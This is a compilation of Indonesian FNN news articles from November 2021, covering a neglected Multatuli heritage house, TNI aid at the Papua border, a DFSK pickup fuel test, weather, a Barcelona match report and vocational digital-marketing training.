Lebak, FNN - Akademisi Sekolah Tinggi Agama Islam ( STAI) Latansa Mashiro Rangkasbitung Mochamad Husen menyoroti cagar budaya Multatuli atau rumah Eduard Douwes Dekker, Asisten Residen masa Kolonial Belanda yang bertugas di wilayah Kabupaten Lebak, Provinsi Banten yang kini kondisinya telantar. "Kami sangat prihatin melihat kondisi bangunan Multatuli yang menjadi bagian sejarah dunia itu, " katanya di Lebak, Ahad. Bangunan Multatuli itu yang lokasinya berada di lingkungan RSUD Adjidarmo Rangkasbitung , kata dia, tidak diketahui secara jelas siapa yang bertanggung jawab untuk merawat dan memiliharanya. "Apakah bangunan bersejarah itu merupakan kewenangan pemerintah daerah atau Balai Pelestarian Cagar Budaya Provinsi Banten," katanya. Sebab, kata dia, sejak dulu hingga sekarang kondisi gedung Multatuli itu telantar dan terbengkalai. Bahkan, kondisi bangunan banyak yang sudah hilang bagian jendela, pintu, kaca dan genteng. Kondisi tembok dinding berlubang, cat mengelupas, lantai tanah, hingga bangunannya tidak sempurna, dan bangunan rumah Eduard Douwes Dekker sudah tidak sempurna dan tidak ada ruangan. "Kami berharap gedung Multatuli itu kembali dibangun dan dirawat serta dipelihara, karena merupakan kekayaan budaya bangsa," katanya . Menurut dia, perjuangan Eduard Douwes Dekker patut diapresiasi karena mereka memberikan semangat dan motivasi kepada rakyat Indonesia untuk berjuang melawan terhadap penjajahan kolonial Belanda, di mana hati nurani Multatuli bertolak belakang dengan pemerintah kolonial Belanda yang memeras dan mencekik rakyat di Lebak. Oleh karena itu, Asisten Residen Belanda yang bertugas di Lebak mengangkat karya Novel "Max Havelaar", yang karyanya mendunia karena keburukan dan kezhaliman pemerintah kolonial Belanda yang sewenang-wenangnya terhadap warga pribumi. "Kami berharap bangunan penulis Max Havelaar itu dilestarikan dan bisa menjadi destinasi wisata sejarah, " kata mantan anggota DPRD Lebak itu. Ia mengatakan, rumah Multatuli itu ditempati tahun 1856 dan sempat menjadi markas tentara pada 1850. Bahkan, bangunan itu beberapa kali mengalami alih fungsi menjadi rumah sakit pada 1987, apotek tahun 2000, hingga gudang pembangunan Rumah Sakit Dr Adjidarmo pada 2007. Namun, saat ini, kata Mochamad Husen, lokasi bersejarah itu hanya menjadi kawasan parkir pegawai rumah sakit setempat. Sementara itu, Kepala Dinas Pariwisata Lebak Imam Rismahayadin mengatakan untuk pembangunan gedung Multatuli yang menjadi cagar budaya di Rangkasbitung, Lebak belum memiliki anggaran akibat pandemi COVID-19 itu. "Seharusnya renovasi bangunan Multatuli direalisasikan 2020. Namun, virus corona yang mewabah sehingga difokuskan untuk penanganan COVID-19, " katanya. (mth)

Satgas TNI Yonif 123 Berikan Bantuan Tas-Buku Anak di Perbatasan

Merauke, FNN - Prajurit TNI Satgas Pamtas RI-PNG Yonif 123/Rajawali di bawah Kolakopsrem 174/ATW Merauke menjadi guru serta memberikan bantuan tas sekolah dan buku kepada siswa sekolah PAUD-SD RT 03 Yakyu, Kampung Rawabiru, Distrik Sota, Kabupaten Merauke, Papua. Komandan Satuan Tugas (Dansatgas) Satgas Pamtas Yonif 123/RW Letkol Inf Goklas P.Silaban dalam keterangan diterima, Minggu, mengatakan pemberian buku dan tas sekolah merupakan program Satgas yang dipimpinnya untuk memotivasi anak supaya semangat dalam menuntut ilmu. "Sehingga di kemudian hari bisa berprestasi demi meraih cita-cita yang diinginkan. Saya telah memerintahkan kepada seluruh jajaran Pos Satgas agar selalu peduli terhadap anak-anak dan mengajari ilmu pendidikan,"katanya. Dansatgas Letkol Goklas Silaban mengakui, siswa tidak setiap hari bisa tatap muka masuk sekolah karena masih di tengah situasi pandemi COVID-19. Sementara itu, Danpos Yakyu Letda Inf Darwin Simanullang bersama anggota turun langsung ke lokasi memberikan sejumlah buku dan tas sekolah untuk anak-anak tersebut. Danpos Yakyu Letda Inf Darwin Simanullang mengatakan, pemberian buku dan tas merupakan wujud kepedulian satgas TNI terhadap anak di batas negeri ini. "Ke depan hal ini akan terus menjadi agenda kegiatan Satgas,”ujarnya. Siswa penerima bantuan tas sekolah dan buku, Samson dan Raily mengucapkan terima kasih dan sangat senang kepada Satgas TNI yang telah memberikan bantuan tas sekolah. "Senang belajar, apalagi tas dan bukunya baru sekali, terima kasih bapak tentara," kata Samson dan Raily dengan nada gembira. (mth)

Sepekan, Kesiapan KTT G20 Bali hingga BI Optimistis Ekonomi Pulih

Jakarta, FNN - Terdapat sejumlah berita penting dan menarik perhatian selama sepekan terakhir seperti kesiapan Indonesia selenggarakan KTT G20 tahun 2022, hingga BI optimistis ekonomi RI pulih tahun 2022, tumbuh hingga 5,5 persen. Berikut rangkuman berita yang banyak menarik perhatian masyarakat mulai 22 sampai 28 November 2021: 1. Luhut pastikan kesiapan Indonesia selenggarakan KTT G20 tahun 2022 Menteri Koordinator Bidang Kemaritiman dan Investasi Luhut Binsar Pandjaitan memastikan kesiapan Indonesia sebagai tuan rumah perhelatan rangkaian Konferensi Tingkat Tinggi (KTT) G20 tahun 2022. Simak selengkapnya di sini 2. Erick Thohir ingin pelabuhan Indonesia jadi super hub di Asia Tenggara Menteri BUMN Erick Thohir ingin pelabuhan Indonesia menjadi super hub di Asia Tenggara yang menuju Eropa dan kawasan-kawasan lainnya usai adanya penyatuan Pelindo. Simak selengkapnya di sini 3. Airlangga optimistis ekonomi triwulan IV-2021 tumbuh hingga 6 persen Menteri Koordinator (Menko) Bidang Perekonomian Airlangga Hartarto optimistis ekonomi Indonesia pada triwulan IV-2021 akan tumbuh di antara lima persen hingga enam persen. Simak selengkapnya di sini 4. Pemerintah segera tindak lanjuti putusan MK terkait UU Cipta Kerja Pemerintah segera menindaklanjuti hasil putusan Mahkamah Konstitusi (MK) yang menyatakan bahwa Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat. Simak selengkapnya di sini 5. BI optimistis ekonomi RI pulih tahun 2022, tumbuh hingga 5,5 persen Gubernur Bank Indonesia (BI) Perry Warjiyo optimistis ekonomi Indonesia akan pulih pada tahun 2022 dan bertumbuh dalam rentang 4,7 persen sampai 5,5 persen. Simak selengkapnya di sini (mth)

DFSK Super Cab Kuat dan Irit Saat Muat Satu Ton Semen Keliling Medan

Medan, FNN - Kendaraan komersial ringan andalan Dongfeng Sokon (DFSK) Indonesia yakni DFSK Super Cab terbukti kuat dan irit saat dibawa berkendara mengelilingi Kota Medan, Sumatera Utara, dengan muatan satu ton semen. Dalam ajang Super Cab Media Challenge (SCMC) yang digelar Kamis (25/11) itu, DFSK Super Cab mampu melibas berbagai kondisi jalan Kota Medan dan mencatat konsumsi BBM 16,5 KM/L dengan jarak tempuh 62,9 KM. SCMC Medan, yang merupakan penyelenggaraan kelima setelah Jakarta, Bali, Bandung, dan Surabaya, diikuti oleh 10 jurnalis baik dari media lokal maupun nasional yang dibagi ke dalam lima tim. Masing-masing tim terdiri dari pengemudi dan navigator. Antara berkesempatan untuk menjadi salah satu peserta ajang pembuktian ketangguhan dan keiritan dari mobil segmen kendaraan pick-up yang diproduksi Indonesia itu. Titik start dimulai dari Budaya Resto yang terletak di Kabupaten Deli Serdang dan berakhir di Dealer DFSK di Kota Medan. Dalam tantangan tersebut, Antara mengendarai DFSK Super Cab bermesin bensin DK15 1.500 cc bertenaga 102 dk dan torsi 140 Nm. Dalam perjalanan yang memakan waktu sekitar 2,5 jam itu, Antara merasakan sejumlah hal yang menyenangkan. Di mulai dari posisi berkendara yang dirasa cukup ergonomis. Meski tidak ada pengaturan tilt dan teleskopik pada setir, namun kursi pengemudi yang dapat dimaju mundurkan cukup membantu memperoleh posisi menyetir yang relatif nyaman. Tuas transmisi manual lima percepatan terasa mudah dioperasikan. Begitu pula pedal kopling dan gas yang cukup empuk dan responsif saat "dimainkan". Beralih ke performa, DFSK Super Cab dirasa memiliki tenaga yang berisi. Torsi pada putaran bawah terasa mantap saat dikendarai di tengah kemacetan kota. Ketika diajak berlari di jalan tol, mobil ini juga menyajikan akselerasi yang cukup instan dan stabil. DFSK Super Cab tetap terasa menyenangkan dan nyaman dikendarai meski menggendong muatan semen satu ton. Handling DFSK Super Cab juga dirasa cukup stabil saat dibawa bermanuver zig zag membelah kepadatan kota Medan. Mobil ini memiliki AC yang dingin dan head unit yang telah dilengkapi port USB dan Aux. Antara tidak menemukan kendala berarti saat mengendarai DFSK Super Cab. Mobil ini dirasa tangguh dan mumpuni sebagai kendaraan niaga. Dimensi flat deck berukuran 2.460 mm x 1.670 mm x 340 mm (PxLxT) membuat mobil ini jadi salah satu yang terbesar di kelasnya. Mobil ini juga terbukti ekonomis. Capaian konsumsi BBM yang menyentuh hasil 16,5 KM/L dengan menggunakan teknik full to full tergolong sangat irit. "Hasil yang didapatkan di momen kali ini merupakan data yang riil dimana uji coba dilakukan secara langsung di jalan raya dengan barang bawaan yang berat di bagian bak," ujar PR & Media Manager PT Sokonindo Automobile, Achmad Rofiqi. DFSK Super Cab terbukti tangguh, bertenaga, nyaman, dan irit bahan bakar. Keunggulan tersebut dirasa cocok untuk menunjang berbagai aktivitas usaha dan meningkatkan keuntungan bisnis. Rofiqi berharap DFSK Super Cab bisa menjadi rekan terbaik baik para pengusaha untuk mendapatkan keuntungan usaha yang berlipat ganda. ​Tanggung Jawab Sosial Selain menggelar SCMC, DFSK juga melaksanakan program tanggung jawab sosial perusahaan dengan menyumbangkan lima ton semen yang diangkut tersebut ke dua tempat ibadah yang berada di sekitar dealer DFSK. Ini merupakan kali kelima DFSK menyalurkan semen untuk pembangunan tempat ibadah. Sebelumnya, perusahaan otomotif asal China tersebut telah menyalurkan 21 ton semen, di mulai sejak April 2021. Penyaluran bantuan semen itu dimulai dari Jakarta dengan enam ton semen untuk pembangunan masjid, lalu di Bali dengan lima ton semen untuk pembangunan pura, di Bandung 2,5 ton semen untuk pembangunan masjid dan 2,5 ton semen untuk pembangunan gereja, serta lima ton semen untuk pembangunan masjid di Surabaya. "Dari dealer kita kasih kebebasan mau rumah ibadah, sekolah, fasilitas kebersihan, atau lainnya. Jadi memang mungkin yang dilihat dari dealer adalah lingkungan sekitarnya banyak seperti masjid, gereja yang perlu dibangun. Itu kenapa diputuskan dari pihak dealernya untuk support area sekitar," kata Rofiqi. Lebih lanjut, dia mengatakan bahwa pihaknya masih akan melakukan kegiatan serupa hingga akhir tahun. Terdekat, kata dia, DFSK akan melakukan penyaluran semen di wilayah Sulawesi. "Desember kita akan adakan satu acara lagi. Kotanya masih kita lihat nanti, mungkin bisa di Sulawesi karena ini pertama kalinya di Sumatera, di Medan. Bulan depan kita mau coba di Makassar, karena di Makassar belum pernah kita coba buat acara seperti ini," kata Rofiqi. Spesifikasi Singkat DFSK Super Cab merupakan kendaraan komersial ringan bermodel pick-up yang diproduksi di Pabrik DFSK Cikande, Serang, Banten. Dengan kapasitas flat deck terbesar di kelasnya, Super Cab mampu mengangkut beban hingga 1,4 ton sehingga cocok untuk bisnis logistik, peternakan, pertanian, dan berbagai sektor usaha lainnya. DFSK Super Cab bisa diubah menjadi model tertentu apabila konsumen memerlukan armada bisnis di bidang angkutan umum, ambulans, mobil box, chiller box hingga moko (mobil toko). Perubahan model itu disediakan oleh dealer DFSK tanpa perlu mendatangi karoseri. Super Cab tersedia dalam dua varian mesin, pertama mesin bensin DK15 1.500 cc bertenaga 102 dk dan torsi 140 Nm. Adapun yang kedua adalah varian diesel 1.300 cc bertenaga 75 dk dan torsi 190 Nm. (mth)

BMKG: Pusaran Angin di Kalimantan dan Bali Picu Peningkatan Awan Hujan

Jakarta, FNN - Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi pusaran angin di utara Kalimantan dan Bali berpotensi memicu peningkatan pertumbuhan awan hujan di Indonesia, Minggu. "Beberapa wilayah mengalami peningkatan intensitas hujan, karena ada pusaran angin di utara Kalimantan serta di sekitar wilayah Pulau Bali yang akan menimbulkan daerah pertemuan angin di sepanjang Sumatera bagian selatan Pulau Jawa hingga ke Kalimantan bagian selatan," ujar Prakirawan BMKG Ahmad Rifani yang diikuti dari bmkg.go.id di Jakarta. BMKG melaporkan kondisi tersebut menyebabkan potensi pertumbuhan awan hujan meningkat secara signifikan terutama di wilayah Sumatera bagian selatan, Banten, DKI Jakarta, Jawa Barat, Jawa Timur, Kalimantan Barat, Kalimantan Tengah, Kalimantan Selatan, Kalimantan Timur serta sebagian besar wilayah Sulawesi, Maluku dan Papua. BMKG mengimbau masyarakat di daerah tersebut agar mewaspadai potensi hujan dengan intensitas lebat dan disertai angin kencang, terutama pada siang dan malam hari. Sementara itu hujan lebat disertai angin kencang juga berpotensi terjadi di sejumlah ibu kota daerah seperti Bandung, Surabaya, Banjarmasin, Tarakan, Pangkal Pinang, Bandar Lampung, Mataram, dan Mamuju. Wilayah lain yang dilaporkan cerah dan berawan di antaranya Banda Aceh, Serang, Pontianak, Pekanbaru, dan Medan. Suhu di sejumlah daerah daerah di Indonesia diprakirakan berkisar antara 21-33 derajat Celcius dengan tingkat kelembapan berkisar antar 65-100 persen. (mth)

Serba-Serbi Hari Dongeng Nasional

Jakarta, FNN - Tanggal 28 November diperingati sebagai Hari Dongeng Nasional, bertepatan dengan hari lahir sosok multitalenta Pak Raden yang bernama asli Drs. Suyadi. Hari Dongeng Nasional pertama kali dideklarasikan pada 28 November 2015 oleh Menteri Pendidikan dan Kebudayaan yang dijabat oleh Anies Baswedan. Kala itu Anies menyampaikan, memperingati Hari Dongeng Nasional bertepatan dengan kelahiran Pak Raden artinya memastikan pesan-pesan figur pendongeng ternama tak lekang dimakan waktu. Peninggalan Pak Raden yang ternama adalah karakter legendaris Si Unyil yang muncul dalam acara boneka populer tahun 1980-an. Karakter Pak Raden juga muncul dalam acara tersebut, digambarkan sebagai pria Jawa berkumis tebal, memakai beskap hitam, blangkon serta tongkat dengan pegangan mirip gagang payung. Tokoh Pak Raden dalam Si Unyil digambarkan sebagai karakter pemarah dan pelit, memelihara burung perkutut dan berbakat di dunia seni lukis. Si Unyil dan kawan-kawannya adalah media yang menyampaikan pesan-pesan sarat nilai. Dongeng berperan besar dalam menjalin kedekatan antara orangtua dan anak. Orangtua dapat menyampaikan pesan moral yang baik dengan cara menyenangkan dan tidak menggurui. Ketika mendongeng, orangtua bisa menyelipkan nilai kebaikan di dalam cerita, melengkapi dengan alat bantu seperti gambar dan boneka tangan. Dongeng pun bisa melatih panca indra serta kemampuan emosi, merangsang kreativitas dan kecerdasan anak. Psikolog anak Seto Mulyadi dalam webinar pendidikan beberapa waktu lalu juga mendorong orangtua untuk mendongeng demi bisa merangsang perkembangan anak, menjalan komunikasi antara orang tua dan anak, merangsang perkembangan bahasa, penanaman nilai-nilai baik. Menurut Seto, mendongeng merupakan bagian dari pendidikan bersama antara anak dan orang tua, yang saling mencerahkan. Pendongeng Gery Saleh Puraatmadja alias Paman Gery punya beberapa kiat dalam mendongeng, salah satunya kata ajaib seperti "pada suatu hari" sebagai pembuka alam imajinasi anak. ​ Penting juga membuat variasi suara untuk menjelaskan karakter yang berbeda-beda, serta ekspresi wajah dan bahasa tubuh yang membuat dongeng jadi lebih menarik. Kelak, dongeng yang dibacakan oleh orangtua akan menjadi sebuah kenangan manis untuk buah hati saat mereka dewasa. Indonesia memiliki aneka ragam dongeng Nusantara yang dapat menjadi inspirasi orangtua dalam bercerita kepada buah hatinya. (mth)

Tim Unja dan Masyarakat Adat Kedepatian Semerap Bukukan "Syair Seroat"

Jambi, FNN - Tim Pengabdian Kepada Masyarakat Universitas Jambi (Unja) dan masyarakat adat Kedepatian Semerap membukukan kumpulan "syair seroat" yang bersumber dari budaya lokal di Kabupaten Kerinci Provinsi Jambi. "Seroat merupakan karya fundamental yang diciptakan oleh H Ilyas (alm) sebagai media pembelajaran tentang akidah, iman, serta sifat-sifat Allah SWT dengan bahasa lokal sehingga mudah dipahami dan dimengerti oleh masyarakat tradisional dan tentu diiringi dengan nada-nada seperti sebuah lagu,” kata salah satu anggota tim, Akbar Kurnia Putra di Jambi, Sabtu. Akbar mengatakan, selain melakukan pendokumentasian, pihaknya akan mendaftarkan hak cipta atas buku kumpulan karya syair seroat tersebut kepada Kementerian Hukum dan HAM Republik Indonesia melalui Sentra HKI Pinang Masak LPPM Universitas Jambi. Karya ini diciptakan sekitar Tahun 1950-an, yang tidak dapat dipastikan waktunya karena berkembang seiring dengan zaman. Biasanya karya ini ditulis tangan oleh H Ilyas dalam bentuk tulisan arab melayu serta tulisan latin. Syair-syair itu kemudian dibacakan dengan irama khusus yang dipelajari secara turun temurun oleh masyarakat khususnya kalangan wanita pada pengajian-pengajian. Syair-syair tersebut dipelajari secara tutur dan tidak terdokumentasi dengan baik. Tim mencoba membuat permohonan pendaftaran ciptaan dokumentasi berupa buku kumpulan syair tersebut ke Direktorat Hak Cipta dan Desain Industri, Direktorat Jenderal Kekayaan Intelektual, Kementerian Hukum dan Hak Asasi Manusia Republik Indonesia. “Saat ini dalam proses pendaftaran. Yang didaftarkan adalah dokumentasi bukunya, bukan isinya. Karena isi sepenuhnya milik H Ilyas. Tujuan didaftarkan agar karya tersebut terlindungi dan terjaga kelestariannya. Apabila disetujui pendaftarannya, maka hak cipta tersebut akan dialihkan sepenuhnya kepada LPPM Universitas Jambi,” tambahnya. Proses pembuatan dokumentasi buku kumpulan ini juga melibatkan tim ahli dari Program Studi di Ilmu Budaya khususnya pada bidang sastra Arab yang bertugas memastikan keaslian naskah, penulisan aksara dan pemaknaan dengan baik dan benar. “Dokumentasi buku kumpulan syair seroat ini juga sudah kita serahkan kepada perwakilan keluarga, yaitu Bapak Dony Yusra, yang saat ini menjabat sebagai Ketua Pusat Studi Hukum dan Pembangunan LPPM Universitas Jambi,” katanya. (mth)

Barcelona Raih Kemenangan Tandang Pertama dengan Tekuk Villarreal 3-1

Jakarta, FNN - Barcelona sukses meraih kemenangan tandang pertama mereka di Liga Spanyol musim ini setelah menekuk Villarreal 3-1 dalam pertandingan pekan ke-15 di El Madrigal pada Sabtu waktu setempat (Minggu dini hari WIB). Tim tamu sempat unggul lewat gol Frenkie de Jong, kemudian dibalas oleh gol Samuel Chukwueze. Barcelona kembali unggul melalui gol Memphis Depay, dan gol ketiga dicetak lewat penalti Philippe Coutinho. Kemenangan ini tetap membuat skuad asuhan Xavi duduk di peringkat ketujuh dengan perolehan 23 poin. Sementara itu, Villarreal berada di posisi 12 dengan 16 poin dari 14 pertandingan, demikian catatan laman resmi Liga Spanyol. Barcelona nyaris membuka keunggulan ketika laga baru berjalan lima menit. Pemain muda Abdessamad Ezzaizouli menyundul bola di kotak penalti setelah menyambut sepak pojok Memphis Depay, tetapi upaya tersebut masih bisa ditepis Geronimo Rulli. Tim tamu kembali mengancam pada menit ke-20. Depay mendapat umpan terobosan dari Frenkie de Jong di kotak penalti, dia kemudian melepaskan bola sepakan yang belum menemui sasaran. Villarreal balik mengancam lewat tendangan percobaan Arnaut Danjuma pada menit ke-39. Namun, penempatan posisi Marc-Andre ter Stegen membuatnya masih bisa mementahkan bola. Kedua tim gagal mencetak gol hingga turun minum. Babak pertama berakhir imbang 0-0. Selepas jeda, Barcelona langsung memberikan kejutan lewat gol pada menit ke-48 lewat tap-in Frenke de Jong. Gelandang asal Belanda itu menceploskan bola muntah yang mengarah kepadanya di depan gawang Villarreal, menyusul kegagalan Rulli menangkap bola. Barcelona unggul 1-0. Meski unggul, Barca bermain kurang displin dan terus mendapatkan tekanan dari Villarreal. Villarreal akhirnya menemukan gol balasan pada menit ke-76. Chukwueze bisa melepaskan diri Pique dan Araujo untuk menyambut umpan lambung Danjuma. Pemain sayap asal Nigeria tersebut kemudian melepaskan tendangan first-time di kotak penalti yang menggetarkan jala Barcelona. Kedudukan menjadi imbang 1-1. Barcelona mencetak gol kedua pada menit ke-88 lewat aksi individu Depay yang sukses melewati Albiol dan kiper Geronimo Rulli sebelum menyarangkan bola ke gawang tim tuan rumah. Barcelona unggul 2-1. Jelang pertandingan berakhir, Barcelona mendapat hadiah penalti ketika Philippe Coutinho dijatuhkan Juan Foyth di kotak terlarang. Coutinho, yang maju sebagai eksekutor penalti, sukses menjalankan tugasnya dengan sempurna. Skor 3-1 untuk Barcelona. Tidak ada gol tambahan di sisa dua menit tambahan waktu. Barcelona menutup kemenangan dengan skor 3-1. Susunan Pemain: Villarreal (4-4-2): Geronimo Rulli; Alfonso Pedraza (65' Pervis Estupinan), Pau Torres, Raul Albiol, Juan Foyth; Moi Gomez, Dani Parejo, Etienne Capoue, Yeremi Pino (65' Samuel Chukwueze); Arnaut Danjuma, Manu Trigueros (84' Daniel Raba). Barcelona (4-3-3): Marc-Andre ter Stegen; Ronald Araujo, Gerard Pique, Eric Garcia, Jordi Alba (71' Oscar Mingueza); Nicolas Gonzalez (81' Philippe Coutinho), Sergio Busquets, Frenkie de Jong; Abdessamad Ezzalzouli (66' Ousmane Dembele), Memphis Depay, Pablo Gaviria. (mth)

Satgas Yonif 512 Bagikan Pakaian untuk Warga Perbatasan RI-PNG

Keerom, FNN - Prajurit TNI Satgas Pamtas RI-PNG Yonif Mekanis 512/QY Pos Kalilapar dipimpin Danpos Letda Inf Wahyu Luhur Priyono membagikan pakaian kepada warga perbatasan Kampung Sach dan Kampung Kalilapar 2, Distrik Waris, Kabupaten Keerom Papua. Komandan Satuan Tugas (Dansatgas) Letkol Inf Taufik Hidayat dalam keterangan diterima, Minggu, mengatakan pembagian pakaian dilakukan satgas TNI di Kampung Sach Dan Kampung Kalilapar 2 karena kedua kampung tersebut merupakan kampung binaan Pos Kalilapar. "Pembagian ini merupakan wujud nyata perhatian Satgas Yonif 512/QY terhadap warga di perbatasan Papua-PNG," ungkap Dansatgas. Dansatgas Letkol Taufik mengakui, masyarakat menyambut dengan baik dan merasa sangat terbantu dengan keberadaan Pos TNI serta kegiatan-kegiatan yang telah dilaksanakan di wilayah perbatasan. Sementara itu, tokoh adat kampung Kalilapar 2 Paulus Maunda (60) mengucapkan terima kasih kepada Satgas Pamtas Yonif 512 Mekanis melalui Danpos Letda Inf Wahyu dan anggota Pos Kalilapar atas bantuan-bantuan yang telah diberikan. "Terima kasih wujud cinta kasih Satgas Pamtas RI-PNG Yonif Mekanis 512/QY kepada masyarakat," kata tokoh adat di perbatasan Paulus Maunda. (mth)

Mencetak Talenta Digital Dimulai dari Sekolah

Ambon, FNN - Gerakan Nasional Bangga Buatan Indonesia (Gernas BBI) tidak hanya fokus pada pengembangan usaha mikro, kecil dan menengah (UMKM) yang merupakan pilar terpenting bagi perekonomian Indonesia. Gernas BBI juga menjadi sejarah baru dengan pelibatan satuan pendidikan dalam mengembangkan UMKM yang ada di Tanah Air. Kementerian Pendidikan, Kebudayaan, Riset dan Teknologi (Kemendikbudristek) yang ditunjuk sebagai manajer kampanye dari Gernas BBI menjadikan gerakan tersebut sebagai langkah awal pembentukan kemampuan pemasaran digital siswa SMK. Dalam gerakan tersebut, program utama adalah pelatihan pemasaran digital bagi siswa SMK yang difokuskan untuk memberikan wawasan pengetahuan dan keahlian dalam menunjang proses orientasi UMKM serta membantu proses perpindahan metode penjualan dari luring ke daring. Kepsek SMKN 4 Ambon Christian Uktolseja mengaku senang dengan pelatihan pemasaran digital yang diberikan pada guru dan juga siswa melalui Pelatihan Digital Potensi Ufuk Timur yang diselengggarakan dalam rangkaian Gernas BBI. Pelatihan tersebut menyasar lulusan SMK, lulusan pendidikan vokasi dan juga pelaku UMKM agar dapat menguasai keahlian dan strategi penjualan daring sehingga dapat mengembangkan usahanya. Sebanyak 12 siswa SMKN 4 Ambon mendapatkan pelatihan digital marketing. Meski baru dilakukan secara daring, Christian mengaku siswanya sudah dapat mengambil manfaat dari pelatihan tersebut. “Kalau dulu, begitu anak-anak belajar membuat produk tidak tahu harus dipasarkan kemana, tapi sekarang mereka sudah tahu, paling tidak untuk skala lokal dulu,” ujar Christian di Ambon, Maluku, Ahad. Christian mengaku siswa-siswanya memiliki potensi besar dalam menghasilkan produk inovasi, terutama pada bidang energi terbarukan dan juga teknik pengelasan. Permasalahannya adalah bagaimana strategi pemasaran setelah produk tersebut selesai diproduksi. Sekolahnya merupakan salah satu sekolah yang fokus pada energi terbarukan, khususnya panel surya untuk kebutuhan rumah tangga. Melalui pelatihan itu, siswa dibekali kemampuan dalam penguasaan penjualan digital. “Pelatihan digital marketing sangat bermanfaat bagi siswa, karena dapat memajukan pembelajaran siswa sehingga dapat menghasilkan produk-produk inovasi, dari sekolah juga membantu siswa dalam penguasaan penjualan digital yang memang sangat dibutuhkan saat ini,” kata Christian. Ke depan, dia berharap hasil dari pelatihan tersebut tidak hanya dapat menjadikan lulusan SMK sebagai talenta digital yang membantu mengembangkan UMKM yang ada di provinsi tersebut, tetapi juga melahirkan pengusaha-pengusaha UMKM baru. Gandeng e-Commerce Kemendikbudristek menggandeng sejumlah pihak, termasuk asosiasi e-commerce yang tergabung dalam Indonesian e-commerce Association (idEA) dalam memberikan pelatihan pada UMKM dan juga satuan pendidikan vokasi. “Kami bekerja sama dengan asosiasi e-commerce yang ada untuk melatih UMKM dan juga satuan vokasi. Tujuannya agar produk-produknya bisa masuk ke patform e-commerce,” ujar Plt Direktur Kemitraan dan Penyelarasan Dunia Usaha dan Dunia Industri Kemendikbudristek Saryadi. Pelatihan yang diberikan, selain mengenai pemasaran digital, juga pengemasan, teknologi, serta standardisasi dan juga pelatihan perpajakan. Selain itu, UMKM dan satuan vokasi dibimbing dalam urusan pengurusan perizinan, kesehatan pangan. “Untuk pelatihannya sendiri diselenggarakan mulai dari Agustus hingga November 2021. Upaya ini bagian dari Gernas BBI. Ini merupakan upaya bersama untuk meningkatkan UMKM Indonesia dari ranah luring ke daring,” ujar Saryadi. Dengan perpindahan pola penjualan dari pola luring daring, diharapkan jangkauan penjualan semakin luas. Tidak hanya di daerah tempat UMKM itu berada, tetapi juga menjangkau seluruh wilayah di Tanah Air, bahkan global. Pelatihan yang diselenggarakan, di antaranya Pelatihan Digital Potensi Ufuk Timur pada 15 November hingga 1 Desember 2021, dengan UMKM prioritas adalah di wilayah timur, sedangkan untuk satuan pendidikan vokasi di seluruh Indonesia pelatihan diberikan dalam delapan sesi. “Harapannya melalui pelatihan itu, UMKM di wilayah Indonesia bagian timur dapat onboarding di lima platform e-commerce, yakni Lazada, Shopee, Blibli, Tokopedia, dan Gojek,” kata Saryadi menjelaskan. Pelatihan tidak hanya sebatas pada UMKM, tetapi juga satuan vokasi yang menghasilkan produk dan jasa. Misalnya di SMK ada teaching factory yang mengembangkan produk dan jasa. Melalui helatan Gernas BBI itu, Kemendikbudristek memberikan kesempatan yang sama pada satuan pendidikan vokasi, baik SMK dan juga perguruan tinggi vokasi untuk mengembangkan produk dan jasanya, layaknya UMKM. Satuan pendidikan vokasi juga memiliki peranan penting dalam pemberdayaan UMKM di Tanah Air, di antaranya melalui riset terapan serta pendampingan pada UMKM. Kampus vokasi melakukan riset terapan dan memberikan solusinya pada berbagai persoalan yang ada di dunia usaha dan dunia industri (DUDI), termasuk UMKM. Sejumlah kampus vokasi bekerja sama dengan UMKM, baik memberikan solusi teknologi maupun tata kelola. Satuan pendidikan, khususnya jenjang SMK, juga berkolaborasi dengan UMKM untuk memberikan pemanfaatan teknologi digital, terutama advokasi pada penjualan. Kemendikbudristek juga turut memberikan pelatihan digital marketing pada siswa SMK. Melalui pelatihan itu, siswa SMK dapat berkolaborasi dengan UMKM. Saryadi menjelaskan melalui kemitraan itu, diharapkan setelah lulus siswa SMK tersebut dapat menjadi admin penjualan digital dan juga hadir dalam memberikan konten publikasi UMKM yang baik di ranah media sosial. Direktur Eksekutif IdEA Arshy Adini mengatakan pelatihan itu tidak hanya diberikan pada UMKM yang digerakkan oleh masyarakat, tetapi juga oleh satuan pendidikan, khususnya pendidikan vokasi. Produk-produk hasil satuan pendidikan vokasi tersebut turut dipasarkan secara daring, terutama produk-produk yang memiliki potensi untuk berkembang. “Jadi ada pendampingan khusus bagi UMKM yang masuk ke dalam klasterisasi. Sekarang kami buka sebanyak-banyaknya, tapi nanti kira-kira UMKM yang siap maka akan diberikan pemantapan, seperti mentoring dan kurikulum khusus, terutama yang berasal dari satuan pendidikan,” kata Arshy. Setiap bulan, terdapat UMKM pilihan yang kemudian produknya ditampilkan di etalase showcase di bandara. Masyarakat dapat membeli produk langsung melalui pemindaian pada QR Code dan pembayarannya juga melalui QRIS. Hal itu dilakukan sebagai bagian untuk meningkatkan transaksi penjualan UMKM di Tanah Air. “Kami berharap program Gernas BBI ini terus berjalan. Tidak hanya saat pandemi atau setelah pandemi saja, akan tetapi berkelanjutan. Karena ini memang gerakan yang bersejarah, yang mana kementerian dan lembaga beserta swasta bergotong royong untuk membantu UMKM agar lebih terpetakan dan untuk terus berkembang. Kami siap mendukung,” ucap Arshy. (mth)

Kecerobohan UU Omnibus Law Memakan Banyak Korban

